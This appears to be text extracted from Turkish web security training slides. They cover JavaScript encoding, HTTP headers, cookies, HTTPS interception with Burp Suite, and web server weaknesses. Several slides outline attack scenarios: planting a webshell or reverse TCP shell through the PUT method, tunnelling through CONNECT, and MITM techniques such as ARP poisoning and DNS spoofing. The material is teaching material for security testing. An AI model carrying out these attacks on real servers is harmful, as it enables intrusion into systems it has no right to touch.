  • 39. Javascript Encode etmek (işler daha da çirkinleşiyor!) "unescape" fonksiyonu: Hex escape karakterlerini karşılık gelen karakterlere dönüştürür.
  • 40. Javascript Encode etmek (işler daha da çirkinleşiyor!) <script language=javascript>document.write('<script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length- 1,1));document.write(unescape(t));}</script>'); dF('y%264E211%264C%261Bz%264E212%264C%261Bepdvnfou/xsjufmo%2639%2633%264Dcs%264F %2631y%2631%264E%2631%2633%2Cy%2C%2633%264Dcs%264F%2633%263%3A%264C%261Bepdv nfou/xsjufmo%2639%2633%264Dcs%264F%2631z%2631%264E%2631%2633%2Cz%2C%2633%264Dc s%264F%2633%263%3A%264C%261Bjg%2639y%264E%264Ez%263%3A%2631%261B%261%3Aepdvnf ou/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%264E%2631z%2633%263%3A%264C%2631% 261Bfmtf%2631%261B%261%3Aepdvnfou/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%2632 %264E%2631z%2633%263%3A%264C%261B1')</script> 1
  • 41. Javascript Encode etmek (işler daha da çirkinleşiyor!) <script language=javascript> document.write('<script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length- 1,1));document.write(unescape(t));}</script>'); dF('y%264E211%264C%261Bz%264E212%264C%261Bepdvnfou/xsjufmo%2639%2633%264Dcs%264F %2631y%2631%264E%2631%2633%2Cy%2C%2633%264Dcs%264F%2633%263%3A%264C%261Bepdv nfou/xsjufmo%2639%2633%264Dcs%264F%2631z%2631%264E%2631%2633%2Cz%2C%2633%264Dcs %264F%2633%263%3A%264C%261Bjg%2639y%264E%264Ez%263%3A%2631%261B%261%3Aepdvnfo u/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%264E%2631z%2633%263%3A%264C%2631%26 1Bfmtf%2631%261B%261%3Aepdvnfou/xsjufmo%2639%2633%264Dcs%264F%2631y%2631%2632%2 64E%2631z%2633%263%3A%264C%261B1') </script> 2
  • 42. Javascript Encode etmek (işler daha da çirkinleşiyor!) "String.fromCharCode" fonksiyonu: Unicode karakter numarasından karaktere (ör: 65 -> 'A') dönüşümü sağlar. "String.charCodeAt" fonksiyonu: Belli bir indeksteki karakterin unicode karakter numarasını döndürür (ör: str="ASLAN"; n=str.charCodeAt(0); ise n = 65'tir)
  • 43. Javascript Javascript debug etmek (dinamik analiz) Chrome'da debug etmek için:
  • 44. Javascript Javascript debug etmek (dinamik analiz) Chrome'da debug etmek için:
  • 45. Javascript Javascript debug etmek (dinamik analiz) Chrome'da debug etmek için:
  • 46. Javascript Javascript debug etmek (dinamik analiz) Chrome'da debug etmek için: Ctrl+O ile dosya'yı açabilirsiniz.
  • 47. Javascript Validasyon örneği (form) <form name="bizimform" action="http://www.abc.com" method="post" onsubmit="return validasyon()"> Birinci Rakam: <input name="ilkrakam" id="birincirakam" type="text"/><br/> İkinci Rakam: <input id="ikincirakam" type="text"/><br/> E-posta: <input id="eposta" type="text"/><br/> <input type="submit" value="gönder"/> </form>
  • 48. Javascript Validasyon örneği (javascript) <script type="text/javascript"> function validasyon() { var rakam1; rakam1=document.getElementById("birincirakam").value; //document.forms["bizimform"]["ilkrakam"].value de olabilirdi if (rakam1==null || rakam1=="") { alert("Birinci rakam dolu olmalı!!"); return false; } var rakam2 = document.getElementById("ikincirakam").value; if (isNaN(rakam2)) { alert("İkinci rakam sayı olmalı!!"); return false; } ...
  • 49. Javascript Validasyon örneği (javascript - devamı) ... var eposta; eposta=document.getElementById("eposta").value; var atpozisyon; atpozisyon=eposta.indexOf("@"); if (atpozisyon<1) { alert("Eposta içinde @ işareti yok!!"); return false; } } </script>
  • 50. Javascript Timeout örneği <script type="text/javascript"> function bildir_kapat() { var xmlHttp = null; xmlHttp = new XMLHttpRequest(); xmlHttp.open( "GET", "http://www.btrisk.com/kapat.html", true ); xmlHttp.send(); window.close(); } setInterval(function() {bildir_kapat()},3000); </script>
  • 51. Javascript Dinamik cookie üretme örneği <html> <head> <script type="text/javascript"> document.cookie = "cerez=abcd"; </script> </head> <body> <h1>Dinamik cookie örneği</h1> <a href="test.html">tıklayınız!!</a> </body> </html>
  • 52. Javascript Kütüphane kullanım örneği (jquery) <html> <head> <script src="http://ajax.aspnetcdn.com/ajax/jquery.validate/1.11.1/jquery. validate.js" type="text/javascript"></script> </head> <body> <form id="form1" name="bizimform" action="http://www.abc.com" method="post"> Birinci Rakam: <input name="ilkrakam" id="birincirakam" type="number" required/><br/> İkinci Rakam: <input id="ikincirakam" type="text" required/><br/> E-posta: <input id="eposta" type="email" required/><br/> <input type="submit" value="gönder"/> </form> ...
  • 53. Javascript Kütüphane kullanım örneği (devamı) ... <script> $("#form1").validate(); </script> </body> </html>
  • 61. Web Sunucusu WEB UYGULAMA MİMARİSİ Tarayıcı (Browser) Web Sunucusu Uygulama Sunucusu Veritabanı Sunucusu XML Veri Deposu / Konfigürasyon Dosyaları Web Servisi Soket Servisi Diğer Sunucular TCP UDP IP SSL HTTP DNS
  • 62. Ağ Servis Uygulamaları (Basit TCP servisi)
  • 63. Ağ Servis Uygulamaları (Basit TCP servisi)
  • 64. Ağ Servis Uygulamaları (Basit HTTP servisi)
  • 65. Ağ Servis Uygulamaları (Basit HTTP Servisi)
  • 66. Ağ Servis Uygulamaları (TCP/IP Model)
  • 68. Ağ Servis Uygulamaları (TCP - HTTP)
  • 71. Alan Adları İsim Çözümlemeye Giriş (Alan Adı <-> IP Adresi) • Hosts dosyası C:WindowsSystem32driversetchosts /etc/hosts 1
  • 72. Alan Adları İsim Çözümlemeye Giriş (Alan Adı <-> IP Adresi) • DNS altyapısı2 (.) root edu net com org tr jp uk de Top Level Domains (TLDs) btrisk com www blog btrisk www ops www Parent Domain Sub / Child Domain Host ÜlkelerJenerik
  • 73. Alan Adları İsim Çözümlemeye Giriş (Alan Adı <-> IP Adresi) • DNS altyapısı2 1 2 3 4 5 6 7 8 9 İstemci Root DNS .com DNS ns1.sadecehosting.com www.btrisk.com Recursive DNS DNS HTTP
  • 74. TCP ve HTTP Servis Tespiti • Port tarama (TCP servisi açık mı?) • Uygulama tespiti (Servis HTTP protokolüne yanıt veriyor mu?) İSTEMCİ SUNUCU SYN SYN / ACK ACK TCP EL SIKIŞMA ADIMLARI
  • 75. TCP ve HTTP Servis Tespiti
  • 76. HTTP BİREYSEL EGZERSİZ • Burp Suite ile ilk tanışma • Kullandığınız tarayıcının proxy ayarlarını localhost:8080 olarak tanımlayınız ve Burp Suite'i başlatınız. • Tarayıcınızla herhangi bir web sitesini ziyaret ederek giden ve gelen HTTP başlıklarını inceleyiniz. • Not: Burp Suite'in Proxy tab'ında Options alt tab'ında bulunan "Intercept Server Responses" seçeneğini seçiniz.
  • 77. HTTP Örnek İstek GET / HTTP/1.1 Host: www.btrisk.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive
  • 78. HTTP Örnek Yanıt HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 Set-Cookie: ASP.NET_SessionId=ixnys23t1tkxe3mrrogsdwlm; path=/; HttpOnly X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Sat, 27 Jun 2015 12:40:34 GMT Content-Length: 25297 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html ... HTTP Yanıtı HTTP Paketinde Taşınan Veri
  • 79. HTTP İstek Metodlarına Örnekler • GET: GET ve POST metodları en sık kullanılan metodlar olup sunucudaki kaynaklara erişmek için kullanılırlar. GET metodu ile sorgu metinleri URL içinde gönderilebilir. Bunun en önemli faydası kullanıcıların bookmark edebilmeleri ve aynı sorguyu içeren istekleri daha sonra gönderebilmelerini sağlaması ve tarayıcıda önceki sorguların “geri” tuşu ile veya tarihçeden çağrılarak aynı sayfalara ulaşabilmeleridir. Buna karşılık güvenlik açısından URL’lerin ekranda görüntüleniyor olması ve URL’in hedefine ulaşıncaya kadar ve hedef sunucu üzerinde iz kayıtlarında görülebilmesi gönderilen parametrelerin gizlilik ihtiyacı varsa sıkıntı yaratabilir. URL’de yer alan bilgiler aşağıda açıklanan “Referer” başlığında da görülmektedir. Bu nedenlerle hassas isteklerin GET ile gönderilmemesinde fayda bulunmaktadır.
  • 80. HTTP İstek Metodlarına Örnekler (devamı) • POST: Bu metodun asli amacı bir aktiviteyi gerçekleştirmektir. Bu metodla istek parametreleri hem URL içinde hem de mesaj gövdesinde gönderilebilir. Sadece mesaj gövdesinin kullanımı yukarıda sayılan riskleri engelleyecektir. Tarayıcılar geri butonuna basıldığında POST isteğinin mesaj gövdesinde yer alan parametreleri tekrar göndermek isteyip istemedimizi sorarlar. Bunun temel nedeni bir işlemi yanlışlıkla birden fazla yapmayı engellemektir. Bu özellik ve de güvenlik gerekçeleriyle bir işlem gerçekleştirileceğinde POST metodunun kullanılması önerilir (GET metodunun yerine).
  • 81. HTTP İstek Metodlarına Örnekler (devamı) • HEAD • TRACE • OPTIONS • PUT • DELETE • CONNECT • WebDAV uzantısı ile gelen metodlar: • COPY, MOVE, SEARCH, PROPFIND, ...
  • 82. HTTP Yanıt Statü Kodları • 1xx: Bilgi mesajları • 2xx: Başarılı istek yanıtları • 3xx: İstemciyi başka bir kaynağa yönlendiren yanıtlar • 4xx: Bir hata barındıran isteklere karşı üretilen yanıtlar • 5xx: Sunucu tarafında istek karşılanmaya çalışılırken bir hata alındığına ilişkin yanıtlar
  • 83. HTTP Yanıt Statü Kodlarına Örnekler • 200 Ok: İsteğin başarılı olduğu ve yanıt gövdesinde isteğin sonucu olan mesaj içeriğinin dönüldüğünü ifade eder. • 302 Found: İstemciyi geçici olarak “Location” başlığında belirtilen URL’e yönlendirmek için kullanılan statü kodudur. İstemci sonraki taleplerde orjinal URL’i kullanmaya devam etmelidir. • 401 Unauthorized: Sunucunun istemciye istenen kaynağa ulaşmak için kullanıcı credential’ları göndermesi gerektiğini söylediği statü kodudur. Yanıt mesajındaki “WWW- Authenticate” başlığı içinde sunucunun desteklediği tanılama yöntemleri belirtilir.
  • 84. HTTP Yanıt Statü Kodlarına Örnekler (devamı) • 403 Forbidden: İstenen kaynağa kim olursa olsun (authenticate olunsa dahi) erişimin yasak olduğu anlamına gelir. • 404 Not Found: İstenen kaynağın mevcut olmadığını belirtir. • 500 Internal Service Error: Sunucu tarafından istek işlenirken bir hata oluşması durumunda gönderilen statü kodudur. Hatanın detayları yanıt mesajında belirtilebilir. • 503 Service Unavailable: Web sunucusunun çalıştığı ancak sunucu tarafından erişilen uygulamanın çalışmadığı durumlarda gönderilir.
  • 85. HTTP Yanıt Statü Kodlarına Örnekler (devamı) • Diğer HTTP yanıtlarına örnekler: • 100 Continue • 201 Created • 301 Moved Permanently • 304 Not Modified • 400 Bad Request • 405 Method Not Allowed • 413 Request Entity Too Large • 414 Request URI Too Long
  • 86. HTTP HTTP Başlıkları (Genel Başlıklar) • Connection: Karşı tarafa kurulan TCP bağlantısının kapatılması mı yoksa devam edecek mesajlar için açık mı tutulması gerektiğini bildirmek için kullanılır. • Content-Encoding: Mesaj gövdesinde iletilen içeriğin hangi kodlamaya sahip olduğunu belirtmek için kullanılır. Örneğin daha hızlı iletim için sıkıştırmanın kullanıldığı durumlarda bu başlık “gzip” değerini içerir. • Content-Length: Mesaj gövdesinin byte cinsinden uzunluğunu belirtir.
  • 87. HTTP HTTP Başlıkları (Genel Başlıklar - devamı) • Content-Type: Mesaj gövdesinde iletilen içeriğin tipini belirtir. Örneğin HTML dokümanları için “text/html” değerini içerir. • Transfer-Encoding: HTTP üzerinden iletilen mesajın kullandığı kodlama tipini belirten başka bir başlıktır. Normalde “chunked” kodlamayı belirtir. Chunked kodlama eğer sunucunun üreteceği mesaj çok uzunsa bunu parçalayarak gönderebilmesini ve tüm mesajın büyüklüğünü önceden hesaplamadan mesajı göndermeye başlayabilmesini sağlar.
  • 88. HTTP HTTP Başlıkları (İstek Başlıkları) • Accept: Sunucuya hangi tipte içeriğin istemci tarafından kabul edileceğini söyler. Örneğin imaj/resim formatları, ofis doküman formatları vb. gibi. • Accept-Encoding: Sunucuya hangi kodlama tiplerinde içeriğin istemci tarafından kabul edileceğini söyler. Örneğin “gzip” gibi. • Authorization: Built-in HTTP authentication tipleri için kullanıcı tarafından sunucuya gönderilen credential’ları içerir. Örneğin NTLM hash’i veya Base64 encoded parola gibi. • Cookie: Sunucu tarafından daha önce istemciye iletilmiş cookie’leri içerir.
  • 89. HTTP HTTP Başlıkları (İstek Başlıkları - devamı) • Host: URL’de belirtilen host adını içerir. Bu özellikle aynı port üzerinden servis veren HTTP sunucularının ayırt edilebilmesi veya proxy sunucuların mesajları doğru sunuculara yönlendirebilmesi için önemlidir. • If-Modified-Since: Bu başlık istemci tarayıcının talep edilen kaynağa son eriştiği zamanı içerir. Eğer kaynak bu zamandan sonra değiştirilmemişse sunucu istemciye 304 statü koduyla hafızadaki (cache edilmiş) kopyayı kullanmasını söyleyebilir.
  • 90. HTTP HTTP Başlıkları (İstek Başlıkları - devamı) • If-None-Match: Bu başlığın içinde istemci sunucu tarafından Etag başlığı içinde belli bir kaynak için bir tag göndermişse bu tag’i sunucuya geri gönderebilir. Bu şekilde sunucu kaynağın değişip değişmediğine karar vererek yanıtını dönebilir. • Referer: Mevcut talebin hangi URL’den kaynaklandığını içerir. Bu saha örneğin google’da yapılan bir arama sonrası erişimi tespit etmek ve ilgili google URL’inden hangi arama cümlesiyle ilgili siteye ulaşıldığının öğrenilebilmesi için kullanılabilir. • User-Agent: İstemci tarafından kullanılan tarayıcı hakkında bilgi içerir.
  • 91. HTTP HTTP Başlıkları (Yanıt Başlıkları) • Server: Web sunucu yazılımı hakkında bilgi içerir (yazılım üreticisi, yazılım versiyon, eklentiler, vd.) • Set-Cookie: İstemci tarayıcıya sonraki isteklerinde geri göndermesi için gönderilen cookie’leri içerir. • WWW-Authenticate: Bu başlık 401 (unauthorized) statü kodlu yanıtların içinde sunucu tarafından desteklenen tanılama (authentication) tiplerini belirtmek için kullanılır. • Location: Bu başlık statü kodu 3 ile başlayan yeniden yönlendirme (redirection) mesajlarında yönlendirilmek istenen hedefi belirtir.
  • 92. HTTP HTTP Başlıkları (Yanıt Başlıkları - devamı) • Cache-Control: Sunucu tarafından istemciye cache’lemeyle ilgili talimatların iletilmesi için kullanılır. Örneğin “no-cache” içeriği tarayıcının kaynağı cache’inde tutmaması talimatı anlamına gelir. • Pragma: Bu başlık da istemci tarayıcısına yönelik cache’lemeyle ilgili talimatları içerir. “no-cache” içeriği tarayıcının ilgili kaynağı cache’inde saklamaması talimatı anlamına gelir. HTTP 1.1 uyumlu olmayan sunuculara karşı hem “Cache-Control” hem de “Pragma” başlıkların gönderilmesi önerilmektedir RFC 2616 (HTTP 1.1) tarafından. Cache-Control başlığı HTTP 1.1’de tanımlanmıştır.
  • 93. HTTP HTTP Başlıkları (Yanıt Başlıkları - devamı) • Expires: Sunucu tarafından istemci tarayıcıya gönderilen kaynağın ne zamana kadar geçerli olacağının iletilmesini sağlar. İstemci tarayıcı bu zamana kadar cache’lediği kopyayı kullanabilir. • ETag: Yukarıda da belirtildiği üzere sunucu istenen kaynağa bir tag değeri atayarak (entity tag) daha sonra istemci tarafından “If-None-Match” başlığı içinde gönderilen içeriğe göre yanıtını belirleyebilmektedir. Bu başlık içinde kaynağa atanmış tag değeri iletilir.
  • 94. Cookie Sunucu yanıtı içindeki Set-Cookie başlığı örneği: Set-Cookie: ASP.NET_SessionId=ixnys23t1tkxe3mrrogsdwlm; path=/; HttpOnly İstemci isteği içindeki Cookie başlığı örneği: Cookie: ASP.NET_SessionId=ixnys23t1tkxe3mrrogsdwlm HTTP
  • 95. HTTP Cookie Özellikleri (attributes) • expires: Cookie’nin geçerli olduğu zaman sınırını tanımlar. Bu özellik tanımlı değilse istemci’nin bilgisayarı cookie’yi diskine yazmaz ve cookie sadece mevcut tarayıcı oturumunda kullanılabilir. Ancak bu özellik ileri bir tarih olarak belirtilmişse diske yazılır ve bu tarihe kadar açılacak olan diğer tarayıcı oturumlarında da kullanılır. • domain: Cookie’nin geçerli olduğu alan adını tanımlar. Bu alan cookie’nin gönderildiği alan veya daha üst (parent) alanlardan farklı olamaz. • path: Cookie’nin geçerli olduğu dizin (path) adını içerir. • secure: Eğer bu özellik kullanılmışsa ilgili cookie sadece HTTPS isteklerinde gönderilebilir. • HttpOnly: Tüm tarayıcılar bu özelliği desteklememekle birlikte eğer bu özellik kullanılmışsa cookie değerine istemci tarafında çalışan JavaScript kodları tarafından erişilemez.
  • 97. HTTP SINIF TARTIŞMASI • Kalıcı cookie'ler nasıl bir risk doğurabilir?
  • 98. HTTP Bilgisayarda veri saklayan diğer teknolojiler • Silverlight cookies • Flash cookies
  • 99. HTTP Built-in HTTP kullanıcı tanılama yöntemleri:
  • 100. HTTP Built-in HTTP kullanıcı tanılama yöntemleri: • Negotiate ve NTLM Authentication (Challenge-response metoduyla çalışırlar) • Digest Authentication (Parola hash'ini gönderir) • Basic Authentication (Sadece Base64 kodlayarak kullanıcı adı ve parolasını Authorize başlığı içinde iletir) • İlgili HTTP yanıt ve başlıkları: • 401 Unauthorized • WWW-Authenticate (Basic, Digest, Negotiate veya NTLM) • Authorization (Base64 kodlu erişim bilgileri)
  • 101. HTTP BİREYSEL EGZERSİZ • Size sağlanacak IP adresinde barındırılan HTTP sunucusuna bağlanmadan önce Burp Suite ile tarayıcınızın arasına giriniz. • Karşılaşacağınız kullanıcı tanılama ekranına herhangi bir kullanıcı adı ve parola girdikten sonra iletilen istek mesajını inceleyiniz.
  • 102. HTTP Daha detaylı bilgi için bakınız: http://blog.btrisk.com/2014/09/web-uygulamalari- guvenlik-testleri-icin-temel-web-teknolojileri.html
  • 103. HTTP(S) BİREYSEL EGZERSİZ • Wireshark'ı internet erişimi için kullanacağınız arayüzü dinleyecek şekilde ayarlayınız. • HTTPS protokolü ile bir web sitesine erişerek alış verişi yapılan paketleri inceleyiniz ve SSL protokolünü anlamaya çalışınız. • Wireshark üzerinde inceleyeceğiniz paketleri filtrelemek için eğitmen desteği alınız.
  • 104. HTTP(S) Temel Kriptografi Kavramları Kriptolama (Encrypting) AlgoritmaAnahtar Açık Metin (Plaintext) Kriptolu Metin (Ciphertext) GİZLİ AÇIK / GİZLİ
  • 105. HTTP(S) Temel Kriptografi Kavramları Kodlama (Encoding) Algoritma Açık Metin (Plaintext) Kodlanmış Metin (Encoded Text) AÇIK / GİZLİ
  • 107. HTTP(S) Temel Kriptografi Kavramları Base64 Kodlama (Encoding) B T R ASCII Kodu (Ondalık) Binary Kodu 6 bit'lik Bölümler 66 84 82 1 49 01000010 01010100 01010010 00110001 010000 100101 010001 010010 Ondalık Karşılığı 001100 010000 000000 000000 16 37 17 18 12 16 0 0 Base64 Kodu Q l R S M Q = = PADDING
  • 109. HTTP(S) Temel Kriptografi Kavramları Asimetrik Kriptolama (Gizlilik servisi için)
  • 110. HTTP(S) Temel Kriptografi Kavramları Asimetrik Kriptolama (İnkar Edilemezlik servisi için)
  • 111. HTTP(S) Temel Kriptografi Kavramları Hashing Hashing Algoritma Açık Metin (Plaintext) Hash (Özet) Değeri X Geri Döndürülemez
  • 112. HTTP(S) Temel Kriptografi Kavramları Hibrit kriptolama (ör: SSL) Private key of receiver
  • 113. HTTP(S) SSL içinde HTTP (Stunnel ile SSL tüneli kurmak)
  • 114. HTTP(S) SSL içinde HTTP (Stunnel ile SSL tüneli kurmak)
  • 115. HTTP(S) HTTPS erişiminde araya girme (MITM) BİREYSEL EGZERSİZ • Kullandığınız tarayıcının proxy ayarını trafiğin Burp Suite'ten geçeceği şekilde ayarlayınız. • HTTPS üzerinden erişilen bir web sitesine erişmek istediğinizde neler olduğunu gözlemleyiniz.
  • 116. HTTP(S) Temel PKI Kavramları • Asimetrik Kriptolama • Hashing • Elektronik İmza • Sertifika Otoritesi (CA) • Sertifika
  • 117. HTTP(S) Tarayıcı sertifika kontrolleri • Trusted bir sertifika otoritesi tarafından imzalanması • Sertifika içinde geçen alan adı ile erişmek istediğimiz alan adının tutarlı olması • Sertifika geçerlilik süresi içinde bulunmamız
  • 118. HTTP(S) HTTPS erişiminde araya girme (MITM) SINIF TARTIŞMASI • Eğer Burp Suite ile araya girerken tarayıcımızın bizi her seferinde uyarmasını istemezsek ne yapabiliriz?
  • 119. HTTP(S) Wireshark ile SSL trafiğinin çözülmesi
  • 120. Man In the Middle (MITM) Yöntemleri MITM Tekniklerine Örnekler: • ARP Poisoning: Layer 2'de iletişimin kendi üzerimizden geçmesi için gateway ve hedef bilgisayarın ARP cache'lerini zehirleme yöntemi • DNS Spoofing: DNS sunucusundan daha önce bir yanıt üreterek kurbanı kendi bilgisayarımıza yönlendirme yöntemi • DNS Cache Poisoning / DNS Hacking (Pharming): Kurban(lar) için recursive DNS istekleri yapan DNS sunucusu bir istekte bulunduğunda sorgu yapılan DNS sunucusundan daha önce yanıt göndererek DNS sunucusunun cache'ini zehirleme yöntemi • ICMP Redirect: Default gateway'den geliyormuş gibi bir ICMP redirect paketi spoof ederek kurbanı iletişimi kendi bilgisayarımız üzerinden gerçekleştirmeye yönlendirme yöntemi • DHCP Spoofing: DHCP isteklerine gerçek DHCP sunucusundan önce yanıt vererek default gateway ayarını kendi bilgisayarımız olacak şekilde kurbanı yönlendirme yöntemi
  • 121. İstemci Katmanı Güvenlik Yaklaşımları Same Origin Policy • Tarayıcılar tarafından belli bir orijinden gelen JavaScript kodlarının kendi orijinleri dışındaki bir sunucudan veri almalarını engeller. • Önemli: Same Origin Policy farklı orijinlerdeki sunuculara istek yapılmasını, yani veri gönderilmesini engellemez, sadece yapılan isteklerin yanıtlarının işlenmesine izin vermez. • Same Origin Policy ayrıca açık olan diğer pencerelerdeki farklı domain'lerden gelen verilere erişimi de engeller. • Orijin kavramı protokol, tam sunucu adı ve port bilgilerini içerir.
  • 122. İstemci Katmanı Güvenlik Yaklaşımları Same Origin Policy • Örnek: http://www.btrisk.com/dir/sayfa.html sayfasında bir script için aşağıdaki senaryolarda uygulanan kurallar URL Sonuç Sebebi http://www.btrisk.com/dir/sayfa2.html Başarılı Aynı protokol, sunucu ve port http://www.btrisk.com/dir2/diger.html Başarılı Aynı protokol, sunucu ve port http://kullaniciadi:parola@www.btrisk.c om/dir2/diger.html Başarılı Aynı protokol, sunucu ve port http://www.btrisk.com:81/dir/diger.html Başarısız Aynı protokol ve sunucu, ancak farklı port https://www.btrisk.com/dir/diger.html Başarısız Farklı protokol http://en.btrisk.com/dir/diger.html Başarısız Farklı sunucu http://btrisk.com/dir/diger.html Başarısız Farklı sunucu (tam eşleşme gerekli) http://v2.www.btrisk.com/dir/diger.html Başarısız Farklı sunucu (tam eşleşme gerekli) http://www.btrisk.com:80/dir/diger.html Tarayıcıya Bağlı Port açıkça yazılmış. Karar tarayıcıya göre değişir.
  • 123. İstemci Katmanı Güvenlik Yaklaşımları Cross Domain Policy • Bazı durumlarda web sunucusunun sahibi diğer domain'lerde barındırılan Flash ve Silverlight kodlarının sunucu üzerindeki verilere erişmesine izin vermek isteyebilir. • Bu durumda sitenin root dizinine eklenecek bir crossdomain.xml dosyası ile farklı domainler için erişim izni verilebilir. <?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>
  • 124. Web Sunucu Güvenliği Temel web sunucu açıklıkları: • Desteklenen gereksiz HTTP metodları • Dizin listeleme imkanı • HTTP başlıkları içinde sunucu ve versiyon bilgilerinin sızması • Oturum çerezleri için web sunucu imkanları kullanılıyorsa (ki bu önerilen yöntemdir) HttpOnly ve secure özelliklerinin işaretlenmemesi • Öntanımlı zaman aşım süresinin uzun tutulması • İstek boyutlarının kısıtlanmaması
  • 125. Web Sunucu Güvenliği Temel web sunucu açıklıkları: • Kullanılan teknolojiye özel kontrol imkanlarından faydalanılmaması • Kullanılmayan uzantılar için desteğin kaldırılmaması • XSS engelleme özelliğinin kullanılmaması • Hata mesajları özelleştirilmesinin kullanılmaması • Temel işletim sistemi (OS) sıkılaştırma kontrollerinin uygulanmamış olması
  • 126. Web Sunucu Güvenliği Daha detaylı bilgi için: • http://blog.btrisk.com/2014/05/Apache-guvenlik- yapilandirmasi-apache-hardening-tip.html • http://blog.btrisk.com/2014/08/Asp.Net-ve-IIS- Konfigurasyonlari.html
  • 127. Web Sunucu Katmanındaki Açıklıklar • Tehlikeli metodların üretim (production) ortamlarında aktif olması • Üretim (production) ortamlarında dizin listelemenin aktif olması • Web / Uygulama sunucularında tespit edilmiş olan sunucuya özel açıklıklar (ör: .NET padding açıklığı, NTLM authentication'ın açık olması, v.b.)
  • 128. Web Sunucu Katmanındaki Açıklıklar SINIF TARTIŞMASI • Aşağıdaki metodların aktif olması hangi riskleri doğurabilir? • PUT • DELETE • CONNECT
  • 129. Web Sunucu Katmanına Yönelik Saldırılar Apache üzerinde WebDAV extension'larını (WAMP ortamında) aktif hale getirmek için: #LoadModule dav_module modules/mod_dav.so #LoadModule dav_fs_module modules/mod_dav_fs.so DavLockDB "C:/wamp/tmp/DavLock" <Directory "c:/wamp/www/"> içinde Dav On httpd.conf dosyası içinde Comment'i kaldır Ekle Ekle
  • 130. Web Sunucu Katmanına Yönelik Saldırılar PUT metodu saldırı senaryosu 3 1 PUT /webshell.php HTTP/1.1 Web shell erişimi 2 GET /webshell.php HTTP/1.1 1
  • 131. Web Sunucu Katmanına Yönelik Saldırılar PUT metodu saldırı senaryosu 2 3 1 PUT /tcphell.php HTTP/1.1 Reverse TCP shell erişimi 2 GET /tcpshell.php HTTP/1.1 TCP 4444 TCP 80
  • 132. Web Sunucu Katmanına Yönelik Saldırılar PUT metodu saldırı senaryosu 2 1 2 PUT /tcphell.php HTTP/1.1 3 4 GET /tcpshell.php HTTP/1.1 5
  • 133. Web Sunucu Katmanına Yönelik Saldırılar CONNECT metodu saldırı senaryosu CONNECT 192.168.1.5:22 HTTP/1.1 TCP 22 X 192.168.1.585.100.85.100 TCP 80 TCP 22
  • 134. Web Sunucu Katmanındaki Açıklıklar Dizin listeleme
  • 135. Web Sunucu Katmanındaki Açıklıklar Dizin listeleme Options Indexes FollowSymLinks <IfModule dir_module> DirectoryIndex index.php index.php3 index.html </IfModule> httpd.conf dosyası içinde Dizin listeleme için gerekli direktif Bu dosyalardan herhangi birisi dizin içinde olmazsa dizin listeleme gerçekleşir
  • 136. Web Sunucu Katmanındaki Açıklıklar Diğer örnek web sunucu açıklıkları Açıklık Etkisi Apache httpOnly cookie sızma açıklığı Söz konusu açıklık farklı saldırı yöntemleri ile bir arada kullanıldığında (ör: XSS) httpOnly cookie'lerin sızması ile sonuçlanabilir. IIS WebDAV Hizmet Kesinti Açıklığı - MS01-016 WebDAV uzantısı aktif IIS 5.0 sunucusu özel olarak hazırlanmış PROPFIND istekleri ile hizmet kesintisine uğratılabilmektedir. Hizmet kesintisi saldırganın özel hazırladığı paketleri gönderdiği süre boyunca geçerlidir. .NET Framework bilgi sızdırma açıklığı Söz konusu açıklık sayesinde sunucu tarafından kriptolanan hassas bilgilerin çözülmesi ve ASP.NET uygulaması içinde bulunan herhangi bir dosyanın (ör: web.config dosyası) okunabilmesi mümkün olacaktır. Web sunucu hatalarının ele alınmaması Bazı sunucular için web sunucu tarafından kullanıcıya görüntülenen öntanımlı teknik hata mesajları saldırganların işini kolaylaştırıcı bilgiler (ör: web sunucu versiyonu, veritabanı hataları ile tablo yapıları ve verileri, kod parçaları, v.b.) sızdırabilir Web sunucu ASP kod sızdırma açıklığı ASP kaynak kodları kullanıcı adı, parola ve diğer bilgilerden oluşan hassas bilgiler içerebilir. Söz konusu açıklıklar kullanılarak uygulama kaynak kodları ve içeriklerindeki hassas bilgilere yetkisiz erişim gerçekleştirilebilir.
  • 137. Web Sunucusu Tarayıcı (Browser) Web Sunucusu Uygulama Sunucusu Veritabanı Sunucusu XML Veri Deposu / Konfigürasyon Dosyaları Web Servisi Soket Servisi Diğer Sunucular Oturum Yönetimi Erişim Yönetimi Girdi Kontrolü Hata Ele Alma Sunucu Yönetimi WEB UYGULAMA MİMARİSİ Sunucu Taraflı Kontroller
  • 139. HACKING'İN ALTIN KURALI #1 BİR UYGULAMAYA ANCAK GİRDİ NOKTALARINDAN SALDIRABİLİRSİNİZ
  • 140. Web Uygulamaları Girdi Noktaları URI Parametreleri POST Parametreleri HTTP Başlıkları Veritabanı Yanıtları Diğer Web Uygulamaları, Web Servisleri Sunucu Çevresel Değişkenleri Sunucu Üzerindeki Dosyalar (XML, config, v.b.)
  • 141. Web Uygulamaları Girdi Noktaları GİRDİ NOKTASI KONTROL EDİLEBİLİRLİK AÇIKLAMA HTTP İstekleri (URI, POST parametreleri, HTTP başlıkları) Uzaktan Veritabanı Yanıtları Kısmen Uzaktan Kullanıcının neden olduğu kayıtlar uzaktan saldırı vektörü olarak kullanılabilir Diğer Web Uygulamaları, Web Servisleri Diğer Uygulama Sahipleri veya Kullanıcıları Tarafından Diğer alan adlarından alınan kodlar da bu sınıfta değerlendirilebilir Sunucu Üzerindeki Dosyalar Lokal Olarak, Çok Seyrek Olarak Uzaktan Sunucu Çevresel Değişkenleri Lokal Olarak
